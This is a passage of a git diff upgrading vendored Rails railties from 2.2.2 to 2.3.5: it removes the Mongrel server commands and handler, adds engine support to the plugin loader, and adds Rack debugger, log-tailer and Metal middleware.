-# Copyright (c) 2005 Zed A. Shaw
-# You can redistribute it and/or modify it under the same terms as Ruby.
-#
-# Additional work donated by contributors.  See http://mongrel.rubyforge.org/attributions.html
-# for more information.
-
-require 'optparse'
-require 'yaml'
-require 'etc'
-
-require 'mongrel'
-require 'rails/mongrel_server/handler'
-
-module Rails
-  module MongrelServer
-    def self.send_signal(signal, pid_file)
-      pid = open(pid_file).read.to_i
-      print "Sending #{signal} to Mongrel at PID #{pid}..."
-      begin
-        Process.kill(signal, pid)
-      rescue Errno::ESRCH
-        puts "Process does not exist.  Not running."
-      end
-
-      puts "Done."
-    end
-
-    class RailsConfigurator < Mongrel::Configurator
-      def setup_mime_types
-        mime = {}
-
-        if defaults[:mime_map]
-          Mongrel.log("Loading additional MIME types from #{defaults[:mime_map]}")
-          mime = load_mime_map(defaults[:mime_map], mime)
-        end
-
-        mime.each {|k,v| Mongrel::DirHandler::add_mime_type(k,v) }
-      end
-
-      def mount_rails(prefix)
-        ENV['RAILS_ENV'] = defaults[:environment]
-        ::RAILS_ENV.replace(defaults[:environment]) if defined?(::RAILS_ENV)
-
-        env_location = "#{defaults[:cwd]}/config/environment"
-        require env_location
-
-        ActionController::Base.relative_url_root = defaults[:prefix]
-        uri prefix, :handler => Rails::MongrelServer::RailsHandler.new
-      end
-    end
-
-    class Start < GemPlugin::Plugin "/commands"
-      include Mongrel::Command::Base
-
-      def configure
-        options [
-          ["-e", "--environment ENV", "Rails environment to run as", :@environment, ENV['RAILS_ENV'] || "development"],
-          ["-d", "--daemonize", "Run daemonized in the background", :@daemon, false],
-          ['-p', '--port PORT', "Which port to bind to", :@port, 3000],
-          ['-a', '--address ADDR', "Address to bind to", :@address, "0.0.0.0"],
-          ['-l', '--log FILE', "Where to write log messages", :@log_file, "log/mongrel.log"],
-          ['-P', '--pid FILE', "Where to write the PID", :@pid_file, "tmp/pids/mongrel.pid"],
-          ['-n', '--num-procs INT', "Number of processors active before clients denied", :@num_procs, 1024],
-          ['-o', '--timeout TIME', "Time to wait (in seconds) before killing a stalled thread", :@timeout, 60],
-          ['-t', '--throttle TIME', "Time to pause (in hundredths of a second) between accepting clients", :@throttle, 0],
-          ['-m', '--mime PATH', "A YAML file that lists additional MIME types", :@mime_map, nil],
-          ['-c', '--chdir PATH', "Change to dir before starting (will be expanded)", :@cwd, RAILS_ROOT],
-          ['-r', '--root PATH', "Set the document root (default 'public')", :@docroot, "public"],
-          ['-B', '--debug', "Enable debugging mode", :@debug, false],
-          ['-C', '--config PATH', "Use a config file", :@config_file, nil],
-          ['-S', '--script PATH', "Load the given file as an extra config script", :@config_script, nil],
-          ['-G', '--generate PATH', "Generate a config file for use with -C", :@generate, nil],
-          ['', '--user USER', "User to run as", :@user, nil],
-          ['', '--group GROUP', "Group to run as", :@group, nil],
-          ['', '--prefix PATH', "URL prefix for Rails app", :@prefix, nil],
-
-          ['-b', '--binding ADDR', "Address to bind to (deprecated, use -a)", :@address, "0.0.0.0"],
-          ['-u', '--debugger', "Enable debugging mode (deprecated, use -B)", :@debug, false]
-        ]
-      end
-
-      def validate
-        if @config_file
-          valid_exists?(@config_file, "Config file not there: #@config_file")
-          return false unless @valid
-          @config_file = File.expand_path(@config_file)
-          load_config
-          return false unless @valid
-        end
-
-        @cwd = File.expand_path(@cwd)
-        valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd"
-
-        # Change there to start, then we'll have to come back after daemonize
-        Dir.chdir(@cwd)
-
-        valid?(@prefix[0] == ?/ && @prefix[-1] != ?/, "Prefix must begin with / and not end in /") if @prefix
-        valid_dir? File.dirname(@log_file), "Path to log file not valid: #@log_file"
-        valid_dir? File.dirname(@pid_file), "Path to pid file not valid: #@pid_file"
-        valid_dir? @docroot, "Path to docroot not valid: #@docroot"
-        valid_exists? @mime_map, "MIME mapping file does not exist: #@mime_map" if @mime_map
-        valid_exists? @config_file, "Config file not there: #@config_file" if @config_file
-        valid_dir? File.dirname(@generate), "Problem accessing directory to #@generate" if @generate
-        valid_user? @user if @user
-        valid_group? @group if @group
-
-        return @valid
-      end
-
-      def run
-        if @generate
-          @generate = File.expand_path(@generate)
-          Mongrel.log(:error, "** Writing config to \"#@generate\".")
-          open(@generate, "w") {|f| f.write(settings.to_yaml) }
-          Mongrel.log(:error, "** Finished.  Run \"mongrel_rails start -C #@generate\" to use the config file.")
-          exit 0
-        end
-
-        config = RailsConfigurator.new(settings) do
-          defaults[:log] = $stdout if defaults[:environment] == 'development'
-
-          Mongrel.log("=> Rails #{Rails.version} application starting on http://#{defaults[:host]}:#{defaults[:port]}")
-
-          unless defaults[:daemon]
-            Mongrel.log("=> Call with -d to detach")
-            Mongrel.log("=> Ctrl-C to shutdown server")
-            start_debugger if defaults[:debug]
-          end
-
-          if defaults[:daemon]
-            if File.exist? defaults[:pid_file]
-              Mongrel.log(:error, "!!! PID file #{defaults[:pid_file]} already exists.  Mongrel could be running already.  Check your #{defaults[:log_file]} for errors.")
-              Mongrel.log(:error, "!!! Exiting with error.  You must stop mongrel and clear the .pid before I'll attempt a start.")
-              exit 1
-            end
-
-            daemonize
-
-            Mongrel.log("Daemonized, any open files are closed.  Look at #{defaults[:pid_file]} and #{defaults[:log_file]} for info.")
-            Mongrel.log("Settings loaded from #{@config_file} (they override command line).") if @config_file
-          end
-
-          Mongrel.log("Starting Mongrel listening at #{defaults[:host]}:#{defaults[:port]}, further information can be found in log/mongrel-#{defaults[:host]}-#{defaults[:port]}.log")
-
-          listener do
-            prefix = defaults[:prefix] || '/'
-
-            if defaults[:debug]
-              Mongrel.log("Installing debugging prefixed filters. Look in log/mongrel_debug for the files.")
-              debug(prefix)
-            end
-
-            setup_mime_types
-            dir_handler = Mongrel::DirHandler.new(defaults[:docroot], false)
-            dir_handler.passthrough_missing_files = true
-
-            unless defaults[:environment] == 'production'
-              Mongrel.log("Mounting DirHandler at #{prefix}...")
-              uri prefix, :handler => dir_handler
-            end
-
-
-            Mongrel.log("Starting Rails with #{defaults[:environment]} environment...")
-            Mongrel.log("Mounting Rails at #{prefix}...")
-            mount_rails(prefix)
-            Mongrel.log("Rails loaded.")
-
-
-            Mongrel.log("Loading any Rails specific GemPlugins" )
-            load_plugins
-
-            if defaults[:config_script]
-              Mongrel.log("Loading #{defaults[:config_script]} external config script")
-              run_config(defaults[:config_script])
-            end
-
-            setup_signals
-          end
-        end
-
-        config.run
-        Mongrel.log("Mongrel #{Mongrel::Const::MONGREL_VERSION} available at #{@address}:#{@port}")
-
-        if config.defaults[:daemon]
-          config.write_pid_file
-        else
-          Mongrel.log("Use CTRL-C to stop.")
-          tail "log/#{config.defaults[:environment]}.log"
-        end
-
-        config.join
-
-        if config.needs_restart
-          unless RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw/
-            cmd = "ruby #{__FILE__} start #{original_args.join(' ')}"
-            Mongrel.log("Restarting with arguments:  #{cmd}")
-            config.stop(false, true)
-            config.remove_pid_file
-
-            if config.defaults[:daemon]
-              system cmd
-            else
-              Mongrel.log(:error, "Can't restart unless in daemon mode.")
-              exit 1
-            end
-          else
-            Mongrel.log("Win32 does not support restarts. Exiting.")
-          end
-        end
-      end
-
-      def load_config
-        settings = {}
-        begin
-          settings = YAML.load_file(@config_file)
-        ensure
-          Mongrel.log(:error, "** Loading settings from #{@config_file} (they override command line).") unless @daemon || settings[:daemon]
-        end
-
-        settings[:includes] ||= ["mongrel"]
-
-        # Config file settings will override command line settings
-        settings.each do |key, value|
-          key = key.to_s
-          if config_keys.include?(key)
-            key = 'address' if key == 'host'
-            self.instance_variable_set("@#{key}", value)
-          else
-            failure "Unknown configuration setting: #{key}"
-            @valid = false
-          end
-        end
-      end
-
-      def config_keys
-        @config_keys ||=
-          %w(address host port cwd log_file pid_file environment docroot mime_map daemon debug includes config_script num_processors timeout throttle user group prefix)
-      end
-
-      def settings
-        config_keys.inject({}) do |hash, key|
-          value = self.instance_variable_get("@#{key}")
-          key = 'host' if key == 'address'
-          hash[key.to_sym] ||= value
-          hash
-        end
-      end
-
-      def start_debugger
-        require_library_or_gem 'ruby-debug'
-        Debugger.start
-        Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings)
-        Mongrel.log("=> Debugger enabled")
-      rescue Exception
-        Mongrel.log(:error, "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'")
-        exit
-      end
-
-      def tail(log_file)
-        cursor = File.size(log_file)
-        last_checked = Time.now
-        tail_thread = Thread.new do
-          File.open(log_file, 'r') do |f|
-            loop do
-              f.seek cursor
-              if f.mtime > last_checked
-                last_checked = f.mtime
-                contents = f.read
-                cursor += contents.length
-                print contents
-              end
-              sleep 1
-            end
-          end
-        end
-        tail_thread
-      end
-    end
-
-    class Stop < GemPlugin::Plugin "/commands"
-      include Mongrel::Command::Base
-
-      def configure
-        options [
-          ['-c', '--chdir PATH', "Change to dir before starting (will be expanded).", :@cwd, "."],
-          ['-f', '--force', "Force the shutdown (kill -9).", :@force, false],
-          ['-w', '--wait SECONDS', "Wait SECONDS before forcing shutdown", :@wait, "0"],
-          ['-P', '--pid FILE', "Where the PID file is located.", :@pid_file, "log/mongrel.pid"]
-        ]
-      end
-
-      def validate
-        @cwd = File.expand_path(@cwd)
-        valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd"
-
-        Dir.chdir @cwd
-
-        valid_exists? @pid_file, "PID file #@pid_file does not exist.  Not running?"
-        return @valid
-      end
-
-      def run
-        if @force
-          @wait.to_i.times do |waiting|
-            exit(0) if not File.exist? @pid_file
-            sleep 1
-          end
-
-          Mongrel::send_signal("KILL", @pid_file) if File.exist? @pid_file
-        else
-          Mongrel::send_signal("TERM", @pid_file)
-        end
-      end
-    end
-
-
-    class Restart < GemPlugin::Plugin "/commands"
-      include Mongrel::Command::Base
-
-      def configure
-        options [
-          ['-c', '--chdir PATH', "Change to dir before starting (will be expanded)", :@cwd, '.'],
-          ['-P', '--pid FILE', "Where the PID file is located", :@pid_file, "log/mongrel.pid"]
-        ]
-      end
-
-      def validate
-        @cwd = File.expand_path(@cwd)
-        valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd"
-
-        Dir.chdir @cwd
-
-        valid_exists? @pid_file, "PID file #@pid_file does not exist.  Not running?"
-        return @valid
-      end
-
-      def run
-        MongrelServer::send_signal("USR2", @pid_file)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/mongrel_server/handler.rb b/vendor/rails/railties/lib/rails/mongrel_server/handler.rb
deleted file mode 100644
index a19eca72..00000000
--- a/vendor/rails/railties/lib/rails/mongrel_server/handler.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-# Copyright (c) 2005 Zed A. Shaw
-# You can redistribute it and/or modify it under the same terms as Ruby.
-#
-# Additional work donated by contributors.  See http://mongrel.rubyforge.org/attributions.html
-# for more information.
-
-require 'mongrel'
-require 'cgi'
-require 'action_controller/dispatcher'
-
-
-module Rails
-  module MongrelServer
-    # Implements a handler that can run Rails and serve files out of the
-    # Rails application's public directory.  This lets you run your Rails
-    # application with Mongrel during development and testing, then use it
-    # also in production behind a server that's better at serving the
-    # static files.
-    #
-    # The RailsHandler takes a mime_map parameter which is a simple suffix=mimetype
-    # mapping that it should add to the list of valid mime types.
-    #
-    # It also supports page caching directly and will try to resolve a request
-    # in the following order:
-    #
-    # * If the requested exact PATH_INFO exists as a file then serve it.
-    # * If it exists at PATH_INFO+".html" exists then serve that.
-    # * Finally, construct a Mongrel::CGIWrapper and run Dispatcher.dispatch to have Rails go.
-    #
-    # This means that if you are using page caching it will actually work with Mongrel
-    # and you should see a decent speed boost (but not as fast as if you use a static
-    # server like Apache or Litespeed).
-    class RailsHandler < Mongrel::HttpHandler
-      # Construct a Mongrel::CGIWrapper and dispatch.
-      def process(request, response)
-        return if response.socket.closed?
-
-        cgi = Mongrel::CGIWrapper.new(request, response)
-        cgi.handler = self
-        # We don't want the output to be really final until we're out of the lock
-        cgi.default_really_final = false
-
-        ActionController::Dispatcher.dispatch(cgi, ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS, response.body)
-
-        # This finalizes the output using the proper HttpResponse way
-        cgi.out("text/html",true) {""}
-      rescue Errno::EPIPE
-        response.socket.close
-      rescue Object => rails_error
-        STDERR.puts "#{Time.now.httpdate}: Error dispatching #{rails_error.inspect}"
-        STDERR.puts rails_error.backtrace.join("\n")
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/plugin.rb b/vendor/rails/railties/lib/rails/plugin.rb
index 4d983843..1dc4d142 100644
--- a/vendor/rails/railties/lib/rails/plugin.rb
+++ b/vendor/rails/railties/lib/rails/plugin.rb
@@ -28,15 +28,19 @@ module Rails
     end
     
     def valid?
-      File.directory?(directory) && (has_lib_directory? || has_init_file?)
+      File.directory?(directory) && (has_app_directory? || has_lib_directory? || has_init_file?)
     end
   
     # Returns a list of paths this plugin wishes to make available in <tt>$LOAD_PATH</tt>.
     def load_paths
       report_nonexistant_or_empty_plugin! unless valid?
-      has_lib_directory? ? [lib_path] : []
+      
+      returning [] do |load_paths|
+        load_paths << lib_path  if has_lib_directory?
+        load_paths << app_paths if has_app_directory?
+      end.flatten
     end
-
+    
     # Evaluates a plugin's init.rb file.
     def load(initializer)
       return if loaded?
@@ -56,7 +60,47 @@ module Rails
     def about
       @about ||= load_about_information
     end
+
+    # Engines are plugins with an app/ directory.
+    def engine?
+      has_app_directory?
+    end
     
+    # Returns true if the engine ships with a routing file
+    def routed?
+      File.exist?(routing_file)
+    end
+
+    # Returns true if there is any localization file in locale_path
+    def localized?
+      locale_files.any?
+    end
+
+    def view_path
+      File.join(directory, 'app', 'views')
+    end
+
+    def controller_path
+      File.join(directory, 'app', 'controllers')
+    end
+
+    def metal_path
+      File.join(directory, 'app', 'metal')
+    end
+
+    def routing_file
+      File.join(directory, 'config', 'routes.rb')
+    end
+
+    def locale_path
+      File.join(directory, 'config', 'locales')
+    end
+
+    def locale_files
+      Dir[ File.join(locale_path, '*.{rb,yml}') ]
+    end
+    
+
     private
       def load_about_information
         about_yml_path = File.join(@directory, "about.yml")
@@ -68,8 +112,13 @@ module Rails
 
       def report_nonexistant_or_empty_plugin!
         raise LoadError, "Can not find the plugin named: #{name}"
-      end      
-    
+      end
+
+      
+      def app_paths
+        [ File.join(directory, 'app', 'models'), File.join(directory, 'app', 'helpers'), controller_path, metal_path ]
+      end
+      
       def lib_path
         File.join(directory, 'lib')
       end
@@ -86,6 +135,11 @@ module Rails
         File.file?(gem_init_path) ? gem_init_path : classic_init_path
       end
 
+
+      def has_app_directory?
+        File.directory?(File.join(directory, 'app'))
+      end
+
       def has_lib_directory?
         File.directory?(lib_path)
       end
@@ -94,6 +148,7 @@ module Rails
         File.file?(init_path)
       end
 
+
       def evaluate_init_rb(initializer)
         if has_init_file?
           silence_warnings do
@@ -121,4 +176,4 @@ module Rails
       File.join(directory, 'rails', 'init.rb')
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/railties/lib/rails/plugin/loader.rb b/vendor/rails/railties/lib/rails/plugin/loader.rb
index 948d4970..49670b31 100644
--- a/vendor/rails/railties/lib/rails/plugin/loader.rb
+++ b/vendor/rails/railties/lib/rails/plugin/loader.rb
@@ -16,52 +16,98 @@ module Rails
       def initialize(initializer)
         @initializer = initializer
       end
-      
+
       # Returns the plugins to be loaded, in the order they should be loaded.
       def plugins
         @plugins ||= all_plugins.select { |plugin| should_load?(plugin) }.sort { |p1, p2| order_plugins(p1, p2) }
       end
 
+      # Returns the plugins that are in engine-form (have an app/ directory)
+      def engines
+        @engines ||= plugins.select(&:engine?)
+      end
+
       # Returns all the plugins that could be found by the current locators.
       def all_plugins
         @all_plugins ||= locate_plugins
         @all_plugins
       end
-    
+
       def load_plugins
-        plugins.each do |plugin| 
+        plugins.each do |plugin|
           plugin.load(initializer)
           register_plugin_as_loaded(plugin)
         end
+
+        configure_engines
+
         ensure_all_registered_plugins_are_loaded!
       end
-      
+
       # Adds the load paths for every plugin into the $LOAD_PATH. Plugin load paths are
       # added *after* the application's <tt>lib</tt> directory, to ensure that an application
       # can always override code within a plugin.
       #
-      # Plugin load paths are also added to Dependencies.load_paths, and Dependencies.load_once_paths.  
+      # Plugin load paths are also added to Dependencies.load_paths, and Dependencies.load_once_paths.
       def add_plugin_load_paths
         plugins.each do |plugin|
           plugin.load_paths.each do |path|
             $LOAD_PATH.insert(application_lib_index + 1, path)
-            ActiveSupport::Dependencies.load_paths      << path
-            unless Rails.configuration.reload_plugins?
+
+            ActiveSupport::Dependencies.load_paths << path
+
+            unless configuration.reload_plugins?
               ActiveSupport::Dependencies.load_once_paths << path
             end
           end
         end
+
         $LOAD_PATH.uniq!
-      end      
-      
+      end
+
+      def engine_metal_paths
+        engines.collect(&:metal_path)
+      end
+
       protected
-      
+        def configure_engines
+          if engines.any?
+            add_engine_routing_configurations
+            add_engine_locales
+            add_engine_controller_paths
+            add_engine_view_paths
+          end
+        end
+
+        def add_engine_routing_configurations
+          engines.select(&:routed?).collect(&:routing_file).each do |routing_file|
+            ActionController::Routing::Routes.add_configuration_file(routing_file)
+          end
+        end
+
+        def add_engine_locales
+          # reverse it such that the last engine can overwrite translations from the first, like with routes
+          locale_files = engines.select(&:localized?).collect(&:locale_files).reverse.flatten
+          I18n.load_path += locale_files - I18n.load_path
+        end
+
+        def add_engine_controller_paths
+          ActionController::Routing.controller_paths += engines.collect(&:controller_path)
+        end
+
+        def add_engine_view_paths
+          # reverse it such that the last engine can overwrite view paths from the first, like with routes
+          paths = ActionView::PathSet.new(engines.collect(&:view_path).reverse)
+          ActionController::Base.view_paths.concat(paths)
+          ActionMailer::Base.view_paths.concat(paths) if configuration.frameworks.include?(:action_mailer)
+        end
+
         # The locate_plugins method uses each class in config.plugin_locators to
         # find the set of all plugins available to this Rails application.
         def locate_plugins
-          configuration.plugin_locators.map { |locator|
+          configuration.plugin_locators.map do |locator|
             locator.new(initializer).plugins
-          }.flatten
+          end.flatten
           # TODO: sorting based on config.plugins
         end
 
@@ -72,7 +118,7 @@ module Rails
         def configuration
           initializer.configuration
         end
-        
+
         def should_load?(plugin)
           # uses Plugin#name and Plugin#valid?
           enabled?(plugin) && plugin.valid?
@@ -86,21 +132,21 @@ module Rails
               plugin_a <=> plugin_b
             else
               effective_order_of(plugin_a) <=> effective_order_of(plugin_b)
-            end            
+            end
           end
         end
-        
+
         def effective_order_of(plugin)
           if explicitly_enabled?(plugin)
-            registered_plugin_names.index(plugin.name) 
+            registered_plugin_names.index(plugin.name)
           else
             registered_plugin_names.index('all')
-          end        
+          end
         end
 
         def application_lib_index
           $LOAD_PATH.index(File.join(RAILS_ROOT, 'lib')) || 0
-        end      
+        end
 
         def enabled?(plugin)
           !explicit_plugin_loading_order? || registered?(plugin)
@@ -121,32 +167,32 @@ module Rails
         def explicitly_registered?(plugin)
           explicit_plugin_loading_order? && registered_plugin_names.include?(plugin.name)
         end
-      
+
         def registered_plugins_names_plugin?(plugin)
           registered_plugin_names.include?(plugin.name) || registered_plugin_names.include?('all')
         end
-        
+
         # The plugins that have been explicitly listed with config.plugins. If this list is nil
-        # then it means the client does not care which plugins or in what order they are loaded, 
+        # then it means the client does not care which plugins or in what order they are loaded,
         # so we load all in alphabetical order. If it is an empty array, we load no plugins, if it is
         # non empty, we load the named plugins in the order specified.
         def registered_plugin_names
           configuration.plugins ? configuration.plugins.map(&:to_s) : nil
         end
-        
+
         def loaded?(plugin_name)
           initializer.loaded_plugins.detect { |plugin| plugin.name == plugin_name.to_s }
         end
-        
+
         def ensure_all_registered_plugins_are_loaded!
           if explicit_plugin_loading_order?
             if configuration.plugins.detect {|plugin| plugin != :all && !loaded?(plugin) }
-              missing_plugins = configuration.plugins - (plugins + [:all])
-              raise LoadError, "Could not locate the following plugins: #{missing_plugins.to_sentence}"
+              missing_plugins = configuration.plugins - (plugins.map{|p| p.name.to_sym} + [:all])
+              raise LoadError, "Could not locate the following plugins: #{missing_plugins.to_sentence(:locale => :en)}"
             end
           end
         end
-  
+
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/railties/lib/rails/plugin/locator.rb b/vendor/rails/railties/lib/rails/plugin/locator.rb
index 678b295d..a6fc388a 100644
--- a/vendor/rails/railties/lib/rails/plugin/locator.rb
+++ b/vendor/rails/railties/lib/rails/plugin/locator.rb
@@ -30,7 +30,7 @@ module Rails
     end
     
     # The Rails::Plugin::FileSystemLocator will try to locate plugins by examining the directories
-    # the the paths given in configuration.plugin_paths. Any plugins that can be found are returned
+    # in the paths given in configuration.plugin_paths. Any plugins that can be found are returned
     # in a list. 
     #
     # The criteria for a valid plugin in this case is found in Rails::Plugin#valid?, although
diff --git a/vendor/rails/railties/lib/rails/rack.rb b/vendor/rails/railties/lib/rails/rack.rb
index b4f32c2d..9705f65e 100644
--- a/vendor/rails/railties/lib/rails/rack.rb
+++ b/vendor/rails/railties/lib/rails/rack.rb
@@ -1,6 +1,8 @@
 module Rails
   module Rack
-    autoload :Logger, "rails/rack/logger"
+    autoload :Debugger, "rails/rack/debugger"
+    autoload :LogTailer, "rails/rack/log_tailer"
+    autoload :Metal, "rails/rack/metal"
     autoload :Static, "rails/rack/static"
   end
 end
diff --git a/vendor/rails/railties/lib/rails/rack/debugger.rb b/vendor/rails/railties/lib/rails/rack/debugger.rb
new file mode 100644
index 00000000..0a7b4055
--- /dev/null
+++ b/vendor/rails/railties/lib/rails/rack/debugger.rb
@@ -0,0 +1,23 @@
+module Rails
+  module Rack
+    class Debugger
+      def initialize(app)
+        @app = app
+
+        ARGV.clear # clear ARGV so that script/server options aren't passed to IRB
+
+        require_library_or_gem 'ruby-debug'
+        ::Debugger.start
+        ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
+        puts "=> Debugger enabled"
+      rescue Exception
+        puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'"
+        exit
+      end
+
+      def call(env)
+        @app.call(env)
+      end
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails/rack/log_tailer.rb b/vendor/rails/railties/lib/rails/rack/log_tailer.rb
new file mode 100644
index 00000000..a237cee6
--- /dev/null
+++ b/vendor/rails/railties/lib/rails/rack/log_tailer.rb
@@ -0,0 +1,35 @@
+module Rails
+  module Rack
+    class LogTailer
+      EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log"
+
+      def initialize(app, log = nil)
+        @app = app
+
+        path = Pathname.new(log || EnvironmentLog).cleanpath
+        @cursor = ::File.size(path)
+        @last_checked = Time.now.to_f
+
+        @file = ::File.open(path, 'r')
+      end
+
+      def call(env)
+        response = @app.call(env)
+        tail_log
+        response
+      end
+
+      def tail_log
+        @file.seek @cursor
+
+        mod = @file.mtime.to_f
+        if mod > @last_checked
+          contents = @file.read
+          @last_checked = mod
+          @cursor += contents.size
+          $stdout.print contents
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails/rack/logger.rb b/vendor/rails/railties/lib/rails/rack/logger.rb
deleted file mode 100644
index 89d02e45..00000000
--- a/vendor/rails/railties/lib/rails/rack/logger.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-module Rails
-  module Rack
-    class Logger
-      EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log"
-
-      def initialize(app, log = nil)
-        @app = app
-        @path = Pathname.new(log || EnvironmentLog).cleanpath
-        @cursor = ::File.size(@path)
-        @last_checked = Time.now
-      end
-
-      def call(env)
-        response = @app.call(env)
-        ::File.open(@path, 'r') do |f|
-          f.seek @cursor
-          if f.mtime > @last_checked
-            contents = f.read
-            @last_checked = f.mtime
-            @cursor += contents.length
-            print contents
-          end
-        end
-        response
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails/rack/metal.rb b/vendor/rails/railties/lib/rails/rack/metal.rb
new file mode 100644
index 00000000..8719a5c5
--- /dev/null
+++ b/vendor/rails/railties/lib/rails/rack/metal.rb
@@ -0,0 +1,51 @@
+require 'active_support/ordered_hash'
+
+module Rails
+  module Rack
+    class Metal
+      NotFoundResponse = [404, {}, []].freeze
+      NotFound = lambda { NotFoundResponse }
+
+      cattr_accessor :metal_paths
+      self.metal_paths = ["#{Rails.root}/app/metal"]
+      cattr_accessor :requested_metals
+
+      def self.metals
+        matcher = /#{Regexp.escape('/app/metal/')}(.*)\.rb\Z/
+        metal_glob = metal_paths.map{ |base| "#{base}/**/*.rb" }
+        all_metals = {}
+
+        metal_glob.each do |glob|
+          Dir[glob].sort.map do |file|
+            file = file.match(matcher)[1]
+            all_metals[file.camelize] = file
+          end
+        end
+
+        load_list = requested_metals || all_metals.keys
+
+        load_list.map do |requested_metal|
+          if metal = all_metals[requested_metal]
+            require_dependency metal
+            requested_metal.constantize
+          end
+        end.compact
+      end
+
+      def initialize(app)
+        @app = app
+        @metals = ActiveSupport::OrderedHash.new
+        self.class.metals.each { |app| @metals[app] = true }
+        freeze
+      end
+
+      def call(env)
+        @metals.keys.each do |app|
+          result = app.call(env)
+          return result unless result[0].to_i == 404
+        end
+        @app.call(env)
+      end
+    end
+  end
+end
diff --git a/vendor/rails/railties/lib/rails/rack/static.rb b/vendor/rails/railties/lib/rails/rack/static.rb
index 45eb0e59..f07c6beb 100644
--- a/vendor/rails/railties/lib/rails/rack/static.rb
+++ b/vendor/rails/railties/lib/rails/rack/static.rb
@@ -1,3 +1,5 @@
+require 'rack/utils'
+
 module Rails
   module Rack
     class Static
@@ -11,14 +13,18 @@ module Rails
       def call(env)
         path        = env['PATH_INFO'].chomp('/')
         method      = env['REQUEST_METHOD']
-        cached_path = (path.empty? ? 'index' : path) + ::ActionController::Base.page_cache_extension
 
         if FILE_METHODS.include?(method)
           if file_exist?(path)
             return @file_server.call(env)
-          elsif file_exist?(cached_path)
-            env['PATH_INFO'] = cached_path
-            return @file_server.call(env)
+          else
+            cached_path = directory_exist?(path) ? "#{path}/index" : path
+            cached_path += ::ActionController::Base.page_cache_extension
+
+            if file_exist?(cached_path)
+              env['PATH_INFO'] = cached_path
+              return @file_server.call(env)
+            end
           end
         end
 
@@ -30,6 +36,11 @@ module Rails
           full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
           File.file?(full_path) && File.readable?(full_path)
         end
+
+        def directory_exist?(path)
+          full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path))
+          File.directory?(full_path) && File.readable?(full_path)
+        end
     end
   end
 end
diff --git a/vendor/rails/railties/lib/rails/version.rb b/vendor/rails/railties/lib/rails/version.rb
index 5df54fa3..98e4e03a 100644
--- a/vendor/rails/railties/lib/rails/version.rb
+++ b/vendor/rails/railties/lib/rails/version.rb
@@ -1,8 +1,8 @@
 module Rails
   module VERSION #:nodoc:
     MAJOR = 2
-    MINOR = 2
-    TINY  = 2
+    MINOR = 3
+    TINY  = 5
 
     STRING = [MAJOR, MINOR, TINY].join('.')
   end
diff --git a/vendor/rails/railties/lib/rails_generator/base.rb b/vendor/rails/railties/lib/rails_generator/base.rb
index b5cfe798..dd75f05c 100644
--- a/vendor/rails/railties/lib/rails_generator/base.rb
+++ b/vendor/rails/railties/lib/rails_generator/base.rb
@@ -154,6 +154,9 @@ module Rails
         File.join(destination_root, relative_destination)
       end
 
+      def after_generate
+      end
+
       protected
         # Convenience method for generator subclasses to record a manifest.
         def record
@@ -230,13 +233,13 @@ module Rails
           base_name, @class_path, @file_path, @class_nesting, @class_nesting_depth = extract_modules(@name)
           @class_name_without_nesting, @singular_name, @plural_name = inflect_names(base_name)
           @table_name = (!defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names) ? plural_name : singular_name
-          @table_name.gsub! '/', '_'
           if @class_nesting.empty?
             @class_name = @class_name_without_nesting
           else
             @table_name = @class_nesting.underscore << "_" << @table_name
             @class_name = "#{@class_nesting}::#{@class_name_without_nesting}"
           end
+          @table_name.gsub! '/', '_'
         end
 
         # Extract modules from filesystem-style or ruby-style path:
diff --git a/vendor/rails/railties/lib/rails_generator/commands.rb b/vendor/rails/railties/lib/rails_generator/commands.rb
index 6b9a6368..b684dc92 100644
--- a/vendor/rails/railties/lib/rails_generator/commands.rb
+++ b/vendor/rails/railties/lib/rails_generator/commands.rb
@@ -40,6 +40,7 @@ module Rails
         # Replay action manifest.  RewindBase subclass rewinds manifest.
         def invoke!
           manifest.replay(self)
+          after_generate
         end
 
         def dependency(generator_name, args, runtime_options = {})
@@ -181,15 +182,19 @@ HELP
             nesting = class_name.split('::')
             name = nesting.pop
 
+            # Hack to limit const_defined? to non-inherited on 1.9.
+            extra = []
+            extra << false unless Object.method(:const_defined?).arity == 1
+
             # Extract the last Module in the nesting.
             last = nesting.inject(Object) { |last, nest|
-              break unless last.const_defined?(nest)
+              break unless last.const_defined?(nest, *extra)
               last.const_get(nest)
             }
 
             # If the last Module exists, check whether the given
             # class exists and raise a collision if so.
-            if last and last.const_defined?(name.camelize)
+            if last and last.const_defined?(name.camelize, *extra)
               raise_class_collision(class_name)
             end
           end
@@ -293,7 +298,7 @@ HELP
           file(relative_source, relative_destination, template_options) do |file|
             # Evaluate any assignments in a temporary, throwaway binding.
             vars = template_options[:assigns] || {}
-            b = binding
+            b = template_options[:binding] || binding
             vars.each { |k,v| eval "#{k} = vars[:#{k}] || vars['#{k}']", b }
 
             # Render the source file with the temporary binding.
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb
index 5a348bcd..c8c2239f 100644
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb
+++ b/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb
@@ -1,113 +1,46 @@
